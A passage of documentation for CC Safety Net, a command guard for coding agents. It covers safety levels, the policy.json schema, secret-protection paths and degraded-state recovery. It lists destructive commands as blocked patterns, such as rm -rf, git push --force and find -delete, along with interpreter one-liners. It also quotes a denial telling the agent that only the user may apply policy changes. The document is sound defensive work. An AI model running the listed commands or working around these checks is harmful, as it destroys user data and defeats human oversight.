descendants, or the catastrophic protections (root and home recursive deletion, Git metadata, and the canonical `policy.json`). ## Strict mode (`CC_SAFETY_NET_STRICT=1`) Strict mode turns on the `fail_closed` capability. It tightens five distinct things. Unparseable commands are the first: * **Unparseable commands are blocked.** CC Safety Net denies any command the parser cannot split into tokens, even when the fallback text scan finds no dangerous pattern. The reason is "Command could not be safely analyzed (strict mode)". `echo 'unterminated` is allowed in standard and blocked here. * **Heredocs fail closed.** A command containing a heredoc is denied unless it has exactly one unexpanded heredoc, on stdin, no other input redirection, and a consumer that is a literal `cat`, `tee`, `git apply`, `git commit`, `gh pr create`, or `gh issue create`. A heredoc is unexpanded when the delimiter is quoted (`<<'EOF'`), or when the delimiter is unquoted and its body contains no `$`, backtick, or backslash. So `python3 - <<'PY'` and a `cat < Individual strict-tier rules can be turned off through `destructive_command_protection.overrides` in [policy.json](/docs/configuration/policy), and any strict-tier rule can be force-enabled under standard with an `"on"` override. Strict is still strict for fail-closed outcomes that have no destructive-command rule id, such as parser fail-closed and sensitive-path outcomes. ## Paranoid mode (`CC_SAFETY_NET_PARANOID=1`) The `paranoid` level is strict plus two capabilities, `paranoid_rm` and `paranoid_interpreters`. These checks may disrupt some normal workflows, so they are opt-in. You can select the whole level or activate individual capabilities. A level with only one of them has the effective level `custom`. ### rm check (`CC_SAFETY_NET_PARANOID_RM=1`) By default, CC Safety Net allows `rm -rf` within the current working directory because it assumes that deletion inside your project root is intentional. The paranoid rm check blocks non-temp recursive forced removal **even inside the current working directory**. `rm -rf ./cache` matches `rm.recursive-force-paranoid`. The PowerShell equivalent `Remove-Item ./cache -Recurse -Force` matches `powershell.remove-item-recursive-force-paranoid`. Temp targets and directories listed in `destructive_command_protection.allow_paths` are still allowed under this check. ### Interpreter one-liners (`CC_SAFETY_NET_PARANOID_INTERPRETERS=1`) Interpreter one-liners can hide destructive commands inside strings that are hard to inspect statically. Below paranoid, only a one-liner whose body contains a dangerous command is blocked (rule `interpreter.dangerous-command`). With this check enabled, **every** interpreter one-liner is blocked regardless of its content, via `interpreter.one-liner-paranoid`: * `python -c '...'` (also `python3` and `python2`) * `node -e '...'` * `ruby -e '...'` * `perl -e '...'` So `python -c "print(1)"` is allowed in standard and strict, and blocked here. ### Enable the paranoid safety level ```bash theme={"dark"} export CC_SAFETY_NET_LEVEL=paranoid ``` ### Enable both paranoid checks without fail-closed behavior ```bash theme={"dark"} export CC_SAFETY_NET_PARANOID=1 ``` ### Enable individual paranoid checks ```bash theme={"dark"} export CC_SAFETY_NET_PARANOID_RM=1 export CC_SAFETY_NET_PARANOID_INTERPRETERS=1 ``` Setting `CC_SAFETY_NET_PARANOID=1` is equivalent to enabling both `CC_SAFETY_NET_PARANOID_RM=1` and `CC_SAFETY_NET_PARANOID_INTERPRETERS=1`. It does **not** turn on `fail_closed`, so on top of the default standard level it produces the effective level `custom` rather than `paranoid`. Use `CC_SAFETY_NET_LEVEL=paranoid` (or `safety.level: "paranoid"`) when you want the full preset. ## Worktree mode (`CC_SAFETY_NET_WORKTREE=1`) Linked Git worktrees can provide isolated workspaces. Worktree mode relaxes selected local-discard rules only when CC Safety Net confirms that the current working directory is inside a linked worktree. ### Enable worktree mode ```bash theme={"dark"} export CC_SAFETY_NET_WORKTREE=1 ``` You can also set `workflow.worktree_mode: true` in [policy.json](/docs/configuration/policy). CC Safety Net combines the two settings as a logical OR. Either one enables worktree mode. ### Commands allowed in a linked worktree When worktree mode is active and the cwd is confirmed to be a linked worktree, the following commands are permitted: * `git restore ` and `git restore --worktree ` * `git checkout -- `, `git checkout -- `, `git checkout --force`, and ambiguous multi-positional checkout forms * `git reset --hard` and `git reset --merge` * `git clean -f` (and combined short flags like `-fd`) * `git switch --discard-changes` and `git switch -f / --force` ### Commands blocked in linked worktrees These commands affect shared refs or other worktrees and are **never relaxed**, regardless of worktree mode: * `git push --force` affects the remote * `git branch -D` force-deletes a branch that is shared across worktrees * `git stash drop` / `git stash clear` changes the stash shared across worktrees * `git worktree remove --force` could delete another worktree ### Linked-worktree detection Worktree detection is **fail-closed**: if CC Safety Net cannot positively identify the cwd as a linked worktree, the stricter default rules remain in effect. Specifically: * A linked worktree is identified by a `.git` *file* (not a directory) whose resolved git directory contains a `commondir` file. Main worktrees and submodules are not relaxed. * The cwd walk uses `realpath` so symlinked paths resolve correctly. * `git -C ` arguments are honored; unresolved targets keep the command blocked. * Relaxation is disabled if `--git-dir` / `--work-tree` is passed, or if `GIT_DIR` / `GIT_WORK_TREE` / `GIT_COMMON_DIR` / `GIT_INDEX_FILE` is set in the environment. * Certain local discards are never relaxed even inside a confirmed worktree: commands with dynamic arguments containing `$`, `*`, `?`, or `[`; forced branch resets (`git checkout -B`/`-Bf` or `git switch -C`/`-Cf` with `-f` or `--discard-changes`); `git clean` with more than one `-f`; and any command using `--recurse-submodules` (or a recursive-submodule config). ## Safety level summary | Level | What it adds | | ---------- | --------------------------------------------------------------------------------------------------------------------------------------------- | | `standard` | No capabilities. Best-effort protection against recognizable destructive commands | | `strict` | `fail_closed`: unparseable commands, unsupported heredocs, unverifiable destructive targets, metadata-only sensitive-path discovery | | `paranoid` | Strict plus `paranoid_rm` (non-temp `rm -rf` even within cwd) and `paranoid_interpreters` (every interpreter one-liner regardless of content) | | `custom` | Any capability combination that matches no preset | Worktree mode is independent of the level: it relaxes local-discard rules inside a confirmed linked worktree. See [Environment](/docs/configuration/environment) for every variable that selects a level or forces a capability, the legacy `SAFETY_NET_*` aliases, and the full precedence rules between `policy.json` and the environment. You can check which level is currently in effect by running `npx cc-safety-net status` (or `npx cc-safety-net doctor` for the full report), or by looking at the status line in Claude Code. See [Status line](/docs/configuration/status-line) for setup instructions. # Policy file: the complete policy.json contract Source: https://ccsafetynet.com/docs/configuration/policy Full reference for CC Safety Net's policy.json: user and project scopes and how they merge, schema, safety presets and capability overrides, worktree mode, destructive-command and secret protection, deny- and allow-path rules, audit retention, and the policy check and policy apply commands. `policy.json` is CC Safety Net's settings file. It selects your safety preset, turns individual built-in protections on or off, adds extra protected paths, and sets how long audit records are kept. It has two scopes: your user file, and an optional project file committed to a repository. It is separate from `rule.json` and rulebooks, which define your own custom blocking rules. See [Custom rules](/docs/configuration/custom-rules) for that schema. ## Policy file location | Scope | Path | | ------------------------------ | ------------------------------------------------------------ | | User, default | `~/.cc-safety-net/policy.json` | | User, `CC_SAFETY_NET_HOME` set | `$CC_SAFETY_NET_HOME/policy.json` | | Project | `.cc-safety-net/policy.json`, resolved from the project root | With `CC_SAFETY_NET_HOME` set, the user file sits **directly** under that directory, as a sibling of `rules/`. See [Environment](/docs/configuration/environment) for the override itself. `CC_SAFETY_NET_HOME` governs the user file only. The project file is always `.cc-safety-net/policy.json` under the project root, the same directory the rules scope resolves. The runtime reads both files on every tool call. The user file is the baseline and the project file layers on top of it. See [Project policy](#project-policy). When the dashboard writes the user file it creates the directory with `0700` and the file with `0600`. ## Project policy A team ships a safety policy through the repository by committing `.cc-safety-net/policy.json`. Members run nothing. The runtime reads the file on the next tool call, in every checkout. The project file is **sparse**. Only the fields it sets are written, and an absent field keeps inheriting from the user policy. A project file that sets one rule override changes that one rule and nothing else. The effective policy is the user policy with the project policy layered on top: | Field | How the scopes combine | | ------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------- | | `safety.level`, `workflow.worktree_mode`, and each `enabled` flag | The project value wins wherever the project sets one | | `safety.overrides` | Merged by capability key, project entry wins | | `destructive_command_protection.overrides`, `secret_protection.overrides` | Merged by rule id, project entry wins | | `destructive_command_protection.allow_paths`, `secret_protection.deny_paths`, `secret_protection.allow_paths` | The union of both scopes, so neither scope erases the other's entries | | `audit` | User scope only | An `audit` section in a project file is ignored, and the load reports `project policy audit settings are ignored; audit is user scope only`. ### Reported weakenings A project policy is honored as written. Nothing clamps it back up to the user baseline. Instead, every field it relaxes relative to the user policy gets its own reported line: * `project policy lowers level: -> ` * `project policy disables fail_closed`, `project policy disables paranoid_rm`, `project policy disables paranoid_interpreters` * `project policy enables worktree mode relaxations` * `project policy disables destructive command protection` * `project policy disables secret protection` * `project policy disables rule ` * `project policy adds destructive allow path: ` * `project policy adds secret allow path: ` They appear in four places: * `status` adds a `Project` row with the project file's path, and a `Project policy` block listing the lines. * The status line adds a `🔻` glyph while any weakening is in force. See [Status line](/docs/configuration/status-line). * `doctor` prints a `Project policy deltas:` block under Effective Safety. * `doctor` and `explain` name the scope that supplied the safety preset next to it, as `user policy`, `project policy`, or `built-in default`. See [Explain trace](/docs/reference/explain-trace). ## Policy file protection `policy.json` is a protected path in **both** scopes and in **every** runtime state, ready or degraded. Policy-file protection runs before the policy snapshot is loaded, so a broken config cannot weaken it. These operations hard-stop: * Writes, edits, and patches to the file through any tool * Shell commands naming the file as an operand * Write redirections into the file * Recursive `rm` of its directory or any ancestor * `find … -delete` and `find … -exec rm` reaching it * `mv` with the file, its directory, or an ancestor as the source The two scopes protect different directory chains. The user file contributes its own directory and every ancestor. The project file is matched at two locations, resolved from the execution working directory and from the config working directory, and each one contributes only its own `.cc-safety-net` directory. The chain stops there on purpose. Walking further up would claim the working directory and every ancestor above it, and since this guard runs first, `rm -rf .` and `find . -delete` would report this generic reason instead of the specific one their destructive-command rule gives them. Reading stays allowed. A read-only command whitelist covers `[`, `cat`, `file`, `grep`, `head`, `jq`, `less`, `ls`, `more`, `rg`, `sed`, `stat`, `tail`, `test`, and `wc`. It covers `sed` only when the command does not edit in place with `-i` or `--in-place`. Read-only tools such as Grep and Glob are exempt entirely. Because your agent cannot write this file, ask it to *show* you the change instead. Apply policy edits yourself in an editor, through the dashboard, or with `policy apply`. ## Edit the policy file Choose one of these options: * **Use the dashboard.** Run `cc-safety-net gui`. The dashboard writes the file with the correct permissions and can repair a file that does not validate. While the file has an error, the form shows the full defaults instead of the valid values from your file. You cannot save until you repair the file. Repair keeps each recognized valid setting and discards invalid fields. If you do not want this repair behavior, edit the file by hand and check it with `status`. * **Edit the JSON directly.** Open the file in an editor and change it by hand. The runtime reads the change on the next tool call. You do not need to restart anything. * **Apply a proposal.** Run `cc-safety-net policy apply ` to write a proposal file into either scope after you confirm the diff in a terminal. See [Check and apply a proposal](#check-and-apply-a-proposal). After a hand edit, confirm the result: ```bash theme={"dark"} npx cc-safety-net status ``` A `degraded` verdict means part of your file was rejected. `npx cc-safety-net doctor` names exactly which fields. The runtime **never** rewrites `policy.json` on its own, so an invalid file stays exactly as you left it until you fix it or use the dashboard repair action. ## Check and apply a proposal `policy check` and `policy apply` split one flow between the agent and you. The agent writes a proposal JSON and runs `policy check` to show what it would change. You run `policy apply` yourself, in a terminal. ``` policy check Validate a policy proposal and print its diff apply Apply a proposal after confirming in a terminal -g, --global Use the user-scope policy instead of the project one -h, --help Show this help ``` Both subcommands print the same header and diff before anything is written: ``` Scope: project (/.cc-safety-net/policy.json) Proposal: Effective policy (user + project merged): Changes (2): safety.level: strict -> standard secret_protection.allow_paths: (none) -> fixtures/credentials ``` Project scope diffs the effective merge, before against after. The `Effective policy (user + project merged):` line marks that. A sparse proposal moves the level the session actually runs at, so the confirmation shows the merged result rather than the file's own contents. With `-g, --global` the header reads `Scope: user ()`, there is no merge line, and the diff compares the user file against the proposal with `audit.retention_days` included. Diff rows read ` : -> ` under a `Changes ():` heading. An absent side renders as `(unset)`. With nothing to change, the command prints `No changes.`. An `audit` section in a project proposal is rejected before the diff, with `: audit settings are user scope only; remove the audit section from a project proposal`. `policy apply` needs a TTY on both stdin and stdout. Without one it prints the command for you to run and exits 1: ``` policy apply confirms interactively; run this yourself in a terminal: cc-safety-net policy apply ``` In a terminal it asks `Apply this policy to ? [y/N] `. Only `y` or `yes` accepts, in any case; anything else declines, and so does EOF. A decline prints `Cancelled; nothing was written.` and exits 0. A write prints `Policy applied: `. There is no `--yes` flag and no non-interactive mode. An agent that runs `policy apply` is denied with a hard stop, whose reason is exactly: ```text theme={"dark"} Only the user may apply a policy proposal, because it rewrites the configuration CC Safety Net enforces. Ask them to run `cc-safety-net policy apply ` themselves in a terminal; you can run `cc-safety-net policy check ` to show them what it would change. ``` The recognizer over-matches on purpose. It covers direct invocation, `npx`, `bunx`, `pnpx`, `pnpm dlx` and `yarn dlx`, `npm exec`, `pnpm exec` and `yarn exec`, versioned specs such as `cc-safety-net@latest`, and `bun` or `node` running the entrypoint file, including runner options placed in front of the target. `policy check` stays allowed for agents. ## Complete policy example Every field, with its default value: ```json theme={"dark"} { "version": 1, "safety": { "level": "standard", "overrides": {} }, "workflow": { "worktree_mode": false }, "destructive_command_protection": { "enabled": true, "overrides": {}, "allow_paths": [] }, "secret_protection": { "enabled": true, "overrides": {}, "deny_paths": [], "allow_paths": [] }, "audit": { "retention_days": 30 } } ``` Only `version` is required. Every other field can be omitted, and an omitted field takes the default shown above. If the file does not exist at all, CC Safety Net runs on these defaults and stays `ready`. The root object is **strict**: an unrecognized top-level key is an error, as is an unrecognized key inside `safety`, `workflow`, `destructive_command_protection`, `secret_protection`, or `audit`. ## Schema reference Schema version. Must be `1`. This is the only required field; the diagnostic for a missing or wrong value is `version must be 1`. The safety preset. One of `"standard"`, `"strict"`, or `"paranoid"`. Each preset supplies inherited capability defaults: `strict` enables `fail_closed`; `paranoid` enables `fail_closed`, `paranoid_rm`, and `paranoid_interpreters`. See [Modes](/docs/configuration/modes) for what each capability changes. Set the fail-closed capability explicitly, up or down, regardless of the preset. Omit the key to inherit from the preset. Set the paranoid `rm` capability explicitly, up or down. Omit the key to inherit from the preset. Set the paranoid interpreter capability explicitly, up or down. Omit the key to inherit from the preset. Relax local-discard git rules inside a **confirmed** linked worktree. Detection is fail-closed: if the working directory cannot be positively identified as a linked worktree, the stricter default rules stay in effect. See [Modes](/docs/configuration/modes) for the exact list of what is relaxed and what is never relaxed. Master switch for the registered destructive-command rules. Setting it to `false` short-circuits every registered rule except the catastrophic rules, which are always enforced. Per-rule state, keyed by registered destructive-command rule id, with the value `"on"` or `"off"`. Applied on top of the capability-derived state, so `"on"` can enable a rule your preset leaves off and `"off"` can disable one it turns on. Paths exempted from destructive-command rules. Entries must be absolute or start with `~/`. Master switch for secret protection. Setting it to `false` skips the entire secret stage, including your `deny_paths`. Per-rule state, keyed by registered secret-protection rule id, with the value `"on"` or `"off"`. Most secret rules are on whenever secret protection is enabled, so `"off"` is the usual direction. The [Coding CLI config tier](#rules-that-are-off-by-default) is off by default, and an explicit `"on"` is how you opt into one of those rules. Extra paths to protect as secrets, in addition to the built-in sensitive paths. See [Deny paths](#deny-paths) for the validation rules. Exact files or directory trees exempted from built-in secret-pattern rules. Configured deny paths and Coding CLI protections still apply. See [Secret allow paths](#secret-allow-paths) for the validation rules and precedence. Days of audit history to keep before the sweep deletes it. Must be an integer between `1` and `365`. ## Safety level and capability overrides `safety.level` picks a preset. `safety.overrides` then sets individual capabilities explicitly. This is the only place that can turn a capability **down**. Environment flags can only raise it. ```json theme={"dark"} { "version": 1, "safety": { "level": "paranoid", "overrides": { "paranoid_interpreters": false } } } ``` That example takes the `paranoid` preset but leaves interpreter one-liners alone. The reported effective level becomes `custom` whenever the resulting combination of capabilities matches no preset. The environment can raise your policy's level and force capabilities on, but never the reverse. See [Environment](/docs/configuration/environment) for the full ordering between `policy.json` and the environment, including the `worktree_mode` OR and the legacy `SAFETY_NET_*` aliases. ## Destructive-command protection `destructive_command_protection.overrides` addresses built-in rules by id, for example: ```json theme={"dark"} { "version": 1, "destructive_command_protection": { "overrides": { "git.push-force": "off", "rm.recursive-force-paranoid": "on" } } } ``` An id that is not registered is rejected with `unknown destructive command rule id ""`, and any value other than `"on"` or `"off"` is rejected with `destructive_command_protection.overrides. must be "on" or "off"`. **Catastrophic rules are always enforced and are not user-configurable.** They ignore `enabled: false` and ignore an `"off"` override. These are the rules covering removal of `/` or your home directory and deletion of Git metadata, together with their PowerShell and `find` equivalents. See [Blocked commands](/docs/reference/blocked-commands) for the behavior each rule enforces. ### Allow paths `destructive_command_protection.allow_paths` exempts specific locations from destructive-command rules. Validation is stricter than for deny paths: | Entry | Result | | ------------------------------------------------- | ---------------------------------------------------- | | Non-string, or a string that trims to empty | Invalid. `must be a non-empty path string` | | Relative path | Invalid. `must be an absolute path or start with ~/` | | Exactly the home directory | Invalid. `cannot be the home directory` | | A path containing the home directory, such as `/` | Invalid. `cannot contain the home directory` | | Any other absolute or `~/`-rooted path | Valid | ## Secret protection Secret protection blocks reads and writes of credential-bearing files. This section defines the configuration contract. The [Secret protection reference](/docs/reference/secret-protection) lists every built-in rule id, the paths each rule protects, and the exemptions. `secret_protection.overrides` addresses individual built-in rules by id, with the value `"on"` or `"off"`. `"off"` disables a rule that is on by default; `"on"` opts into a rule from the default-off tier: ```json theme={"dark"} { "version": 1, "secret_protection": { "overrides": { "secret.ext-pattern.kdbx": "off", "secret.cli.claude-code.config": "on" }, "deny_paths": ["config/secrets", "~/work/vault"], "allow_paths": [".env.test", "fixtures/credentials"] } } ``` An unregistered id is rejected with `unknown secret protection rule id ""`, and any other value with `secret_protection.overrides. must be "on" or "off"`. ### Rules that are off by default Most built-in secret rules are on whenever secret protection is enabled. One tier is not: the **Coding CLI config** rules, which cover the settings and MCP configuration files of supported coding agents. Those files can carry credentials inline, but agents also edit them as routine work, so the tier ships off and you opt in per rule with an explicit `"on"` override. A config rule you turn on protects the agent's user-level config files, and it also protects project-level files matched by name at any repository root, such as any `.mcp.json`. The ten default-off ids, their on-by-default **Coding CLI credential** counterparts, and the exact paths each rule protects are listed in the [Secret protection reference](/docs/reference/secret-protection#coding-cli-config-tier-off-by-default). ### Deny paths `secret_protection.deny_paths` adds your own protected locations on top of the built-in sensitive paths. Deny paths are checked **first**, before the built-in rules, and a hit is a hard stop attributed to the rule id `secret.deny-path`. Validation: | Entry | Result | | ------------------------------------------------------------------------------ | ---------------------------------------------------------------------------------------------------------- | | Non-string, or a string that trims to empty | Invalid. `must be a non-empty path string` | | Relative path, such as `config/secrets` or `./secrets` | **Valid**. Resolved per session against the config working directory | | `~`, `$HOME`, or `${HOME}` alone | Invalid. The home directory itself is rejected | | `~/…`, `$HOME/…` | Valid once expanded, unless it resolves to home or above | | A path that resolves to exactly the home directory | Invalid. `cannot be the home directory or a path above it (this would block every command the agent runs)` | | A path that resolves to an ancestor of home, such as `/`, `/Users`, or `/home` | Invalid. Same message | | Any other absolute path | Valid | Relative entries are accepted because they resolve against each session's working directory, which is unknown when the file is saved. Home, anything above home, and `/` are rejected because they would block almost every command in every workspace under home. **What a valid deny path protects:** the path itself **and every descendant**. A target is normalized against the execution working directory and each configured path against the config working directory before comparison. Two limits worth knowing: * Deny paths only apply while `secret_protection.enabled` is `true`. Setting it to `false` turns them off along with everything else in the secret stage. * `secret.deny-path` is not a registered secret rule id, so `secret_protection.overrides` cannot disable it. Only `secret_protection.enabled: false` does. ### Secret allow paths `secret_protection.allow_paths` exempts an exact file or a directory and all its descendants from the built-in basename, home-directory, key-variant, and extension rules. Use it for files you manage deliberately, such as a repository's `.env.test`, or a fixture directory that contains non-secret credential-shaped filenames. The precedence is fixed: 1. A configured deny path always wins. If the same target is in both lists, the result is `secret.deny-path`. 2. Coding CLI credential and config rules (`secret.cli.*`) always win. An allow path cannot expose the agent's own credentials or configuration. 3. An allow-path match suppresses any other built-in secret rule for that target. Validation: | Entry | Result | | ----------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------- | | Non-string, or a string that trims to empty | Invalid. `must be a non-empty path string` | | Relative path, such as `.env.test` or `fixtures/credentials` | **Valid**. Resolved per session against the config working directory | | An entry containing `*` or `?` | Invalid. `cannot contain glob characters (* or ?); list the exact file or directory` | | `~`, `$HOME`, or `${HOME}` alone, or a path above home | Invalid. `cannot cover the home directory or a path above it (this would disable secret protection everywhere)` | | `~/.cc-safety-net` or anything below it | Invalid. `cannot cover the guard's own configuration` | | Any other literal absolute, `~/…`, `$HOME/…`, or `${HOME}/…` path | Valid | Entries are literal paths, not glob patterns. The target is resolved from the execution working directory, and a relative allow entry is resolved from the config working directory. Both sides follow existing symlinks before the same-or-descendant comparison, so an allow root also covers a target reached through a symlink. The runtime repeats the safety-boundary checks after resolution. An entry that resolves to home or an ancestor of home is ignored. A target under the effective guard configuration root is never exempted, including when `CC_SAFETY_NET_HOME` moves that root or when home or `~/.cc-safety-net` is a symlink. ## Audit retention `audit.retention_days` controls how long audit records survive before the retention sweep deletes them. The default is **30 days**, and the accepted range is **1 to 365**. ```json theme={"dark"} { "version": 1, "audit": { "retention_days": 90 } } ``` Pruning is opportunistic: it runs at most one traversal per audit root per UTC day, after audit writes and before audit reads. It never throws and never follows symlinks. See [Audit log](/docs/reference/audit-log) for the record schema and what is captured. Retention resolves independently of the rest of the policy. The sweep reads this one field directly from the file, so a policy that fails validation elsewhere still prunes. A value that is missing, non-integer, or unusable falls back to 30; a value below `1` is clamped to `1`, and above `365` to `365`. Out-of-range values therefore do two things at once: the schema **rejects** them, degrading the runtime, while the sweep **clamps** them. `"retention_days": 1000` both shows up as a diagnostic and prunes at 365 days. ## Invalid policy behavior An invalid `policy.json` never blocks ordinary work. It moves the runtime to `degraded` and uses a fallback. This table describes one file. Both scopes go through the same salvage, and each diagnostic names the file it came from with a path prefix. | File state | Runtime behavior | | ---------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------- | | Readable but invalid | Salvages the file field by field. Each recognized valid section stays active. Protective defaults replace the other sections. | | Empty, unparseable, or not a JSON object | Uses built-in protective defaults for the full file. | | Missing | Uses built-in defaults with no diagnostic. The runtime stays `ready`. | Salvage is deliberately protective, which is why a broken file usually produces *more* denials than you configured: | Field | When invalid | | -------------------------------------------- | ---------------------------------------------------------------------------------- | | `version` | Rewritten to `1` | | `safety.level` | Falls back to `standard` | | `safety.overrides.*` | The invalid key is dropped, so the capability inherits from the preset | | `workflow.worktree_mode` | Falls back to `false` | | `destructive_command_protection.enabled` | Falls back to `true`. Protection is **on** | | `destructive_command_protection.overrides` | Invalid entries are discarded; a non-object becomes `{}` | | `destructive_command_protection.allow_paths` | Invalid entries are discarded. A non-array becomes `[]`, with no allowances | | `secret_protection.enabled` | Falls back to `true`. Protection is **on** | | `secret_protection.overrides` | Invalid entries are discarded; a non-object becomes `{}` | | `secret_protection.deny_paths` | Invalid entries are discarded; a non-array becomes `[]` | | `secret_protection.allow_paths` | Invalid entries are discarded. A non-array becomes `[]`, with no secret exemptions | | `audit.retention_days` | Clamped, or `30` when unusable | A malformed project file is salvaged the same way. Its rejected sections drop, and everything else in both files stays in force. An unreadable user file normally falls back to built-in defaults. When a project file still contributes fields, those fields are in effect, so the state reports as salvaged rather than defaults. Scope provenance appears whenever the project file exists, valid or not, so `status` keeps printing its `Project` row. Invalid entries are **discarded, not repaired**. A mistyped deny path silently stops protecting that location, and an invalid `safety.level` silently lowers you to `standard`. These are the two quiet failure modes. Run `npx cc-safety-net status` after every hand edit. [Configuration recovery](/docs/configuration/recovery) is the complete contract for degraded state, including how it is reported and how to get back to `ready`. ## Related pages What each safety capability changes, and what worktree mode relaxes. Every variable, including the ones that raise your policy's level. The separate `rule.json` and rulebook schemas for your own blocking rules. Ready versus degraded, the fallback matrix, and the repair sequence. # Configuration recovery: ready and degraded state Source: https://ccsafetynet.com/docs/configuration/recovery How CC Safety Net behaves when configuration cannot be verified: ready versus degraded state, what stays enforced, how the state is reported, and the exact commands that repair it. CC Safety Net loads a policy snapshot on every tool call. The load reads the user policy file, the project policy file that layers over it, and `rule.json` in both scopes. Every rulebook a `rule.json` lists is a live file, read from `/rules//rulebook.json` on that same call. The load never writes, never reaches the network, and never caches results, so the snapshot always reflects the configuration currently on disk. The snapshot has exactly two states: **ready** and **degraded**. This page is the complete contract for both, including what stops being enforced when a source is rejected and how to get back to `ready`. ## Configuration states | State | When it happens | What it means | | ---------- | -------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------- | | `ready` | Every active source loaded and validated cleanly | Ordinary evaluation against exactly the configuration you wrote | | `degraded` | Any rule error, any rule warning, or any error from either scope's `policy.json` | Ordinary evaluation continues against a fallback, and every reporting surface carries a warning naming the rejected source | A single warning is enough to move the runtime to `degraded`. The distinction between an error and a warning is about the source, not about severity of the state: * An **error** names a source that was **dropped**. That source contributes no rules at all. * A **warning** names a source that **stays active** with only the rejected part ignored. Both produce `degraded`. `ready` and `degraded` are the only verdicts `cc-safety-net status` prints. It reads the verdict directly from the snapshot state. A disabled Claude Code plugin does not change the verdict. `status` reports it as the first item under `Not active`: "plugin cc-safety-net\@cc-marketplace is disabled in Claude Code; nothing is enforced in Claude Code until it is re-enabled. Other integrations are not affected." ## Invalid configuration behavior Invalid configuration never denies ordinary work merely because it is invalid. An invalid candidate is never enforced, but it never locks the agent out either. * A rule source that cannot be verified is **dropped**. Its rules stop being enforced. * Every other verified scope keeps enforcing its rules. * Every built-in protection keeps applying in every case. Destructive-command rules, secret protection, policy-file protection, and Git-metadata protection do not read rule configuration. * An unreadable user `policy.json` falls back to **protective** defaults, so both destructive-command protection and secret protection stay on. An unreadable project `policy.json` contributes nothing and leaves the user policy in force. There is no special recovery mode and no allowlist while degraded, because nothing is denied for being unconfigurable. Reading `rule.json`, editing it in place, and running `cc-safety-net rule update` are ordinary tool calls that pass or fail on their own merits, so your agent can repair the configuration itself. Dropping a source is not security-neutral. It **removes** the denials that source contributed, so a command you deliberately blocked in a dropped rulebook can run again until you repair it. Never assume a rulebook named in an error is still protecting you. What stays protected in every state is `policy.json` in both scopes. Policy-file protection and Git-metadata protection run **before** the policy snapshot is loaded, so they cannot be affected by a broken config. See [Policy](/docs/configuration/policy) for exactly which operations are blocked. ## Configuration fallback matrix ### Errors that drop the source | Failure | What stops being enforced | What still applies | | ------------------------------------------------------------------------------------ | ---------------------------------------------------------- | -------------------------------------------------- | | A remote source has nothing vendored yet, so `rules//rulebook.json` is missing | That one rulebook | Every other rulebook and all built-ins | | A local source's `rules//rulebook.json` is missing or was deleted | That one rulebook | Every other rulebook and all built-ins | | A rulebook file is not valid JSON or fails the rulebook schema | That one rulebook | Every other rulebook and all built-ins | | A rulebook's `name` does not match the source that lists it | That one rulebook | Every other rulebook and all built-ins | | `rule.json` is malformed, empty, or has an unsupported `version` | That whole scope, **including its `transparent_wrappers`** | The other scope's verified rules and all built-ins | | The policy filesystem cannot be read safely | That scope | The other scope's verified rules and all built-ins | Every one of these messages names the file or source it rejected and the repair that fits it. A missing rulebook for a remote source ends with ``run `cc-safety-net rule update` to vendor ``. A missing rulebook for a local source ends with `create that file or remove that source from the rules config`. An invalid rulebook and a name mismatch both end with `fix that file`. ### Warnings that keep the source active | Failure | What is ignored | What stays enforced | | --------------------------------------------- | ---------------------------------------------- | -------------------------------------------------------------- | | Two active rulebooks claim the same name | The later rulebook, whose rules are not active | The first claim, resolved user scope first | | Unknown override key in `rule.json` | Only that one override | Every other override and every rule keeps its configured state | | A project override targets a user-scoped rule | Only that one override | The rule keeps its user-configured state | Every rulebook is a live file, so a saved edit is enforced on the next tool call with nothing to publish. A **broken** edit is not silent either. A file that fails to parse or fails the schema is dropped with the invalid-rulebook error above, and a deleted file is dropped with the missing-file error. Both move the snapshot to `degraded`. Duplicate rulebook names resolve deterministically: the first claim wins, and the user scope is loaded first, so a name claimed by your user scope shadows the project one. The later rulebook contributes nothing rather than partially shadowing rules. Because this is resolved rather than fatal, a change in one scope does not fail on a name the other scope already claims. ### Salvaged `policy.json` or protective defaults | Situation | Result | State | | ------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------- | ---------------------- | | The user file does not exist | Built-in defaults | `ready`. No diagnostic | | The user file is empty or whitespace only | Built-in protective defaults | `degraded` | | The user file is not valid JSON | Built-in protective defaults | `degraded` | | The user file parses to something that is not an object | Built-in protective defaults | `degraded` | | The user file parses to an object but fails validation | **Field-by-field salvage**: every recognized valid section stays active, and protective defaults replace the rest | `degraded` | | The user file is valid | Your policy, exactly as written | `ready` | | The project file does not exist | The user policy alone | `ready`. No diagnostic | | The project file is empty, is not valid JSON, or parses to something that is not an object | The user policy alone. The project file contributes nothing | `degraded` | | The project file parses to an object and some fields fail validation | Field-by-field salvage: its recognized valid fields still layer over the user policy, the rest is dropped | `degraded` | | The project file has an `audit` section | The user policy's audit settings. Every other project field still layers on | `degraded` | | The user file is unreadable while the project file sets fields | Built-in protective defaults with the project file's valid fields layered on top | `degraded` | Field-level salvage means one bad field cannot drop the protections the rest of the file still configures. The protective defaults deliberately err toward more denials: destructive-command protection and secret protection are forced on, invalid entries in both allow-path lists are dropped, and disabling overrides are dropped. Valid secret allow paths remain in the salvaged policy. The project file at `.cc-safety-net/policy.json` is salvaged the same way, with one difference. `audit` is user scope only, so a project `audit` section is ignored with the diagnostic `project policy audit settings are ignored; audit is user scope only`. See [Policy](/docs/configuration/policy) for the per-field salvage behavior. The runtime never rewrites `policy.json`. Repair it by hand, or use the repair action in the dashboard. While the file has errors, the dashboard form shows the full defaults instead of the salvaged values. You cannot save until you repair the file. The repair action preserves each recognized valid setting. It replaces the full file with defaults only when it cannot parse the JSON. ## Transparent-wrapper coverage gap `transparent_wrappers` is declared in `rule.json`, not in a rulebook, and `rule.json` carries no digest. That has two consequences: * A **dropped rulebook** keeps its scope's wrappers, because `rule.json` itself is still readable. * An **unreadable `rule.json`** loses that scope's wrappers, because there is no verified copy to fall back to. Analysis stops looking through those wrapper commands to the protected command underneath. This is the one place where rejected configuration reduces built-in coverage rather than only removing your own rules. Repair `rule.json` first when a scope is dropped for that reason. ## Fail-closed cases "Fail closed" describes runtime and analysis failures. It denies **that one tool call**. It does not describe what invalid configuration does. | Case | Behavior | | ---------------------------------------------------------------------- | --------------------------------------------------------------------------------------- | | The analyzer or a dependency throws unexpectedly at any guard stage | The tool call is denied with a "failed closed" reason, in every mode | | Malformed 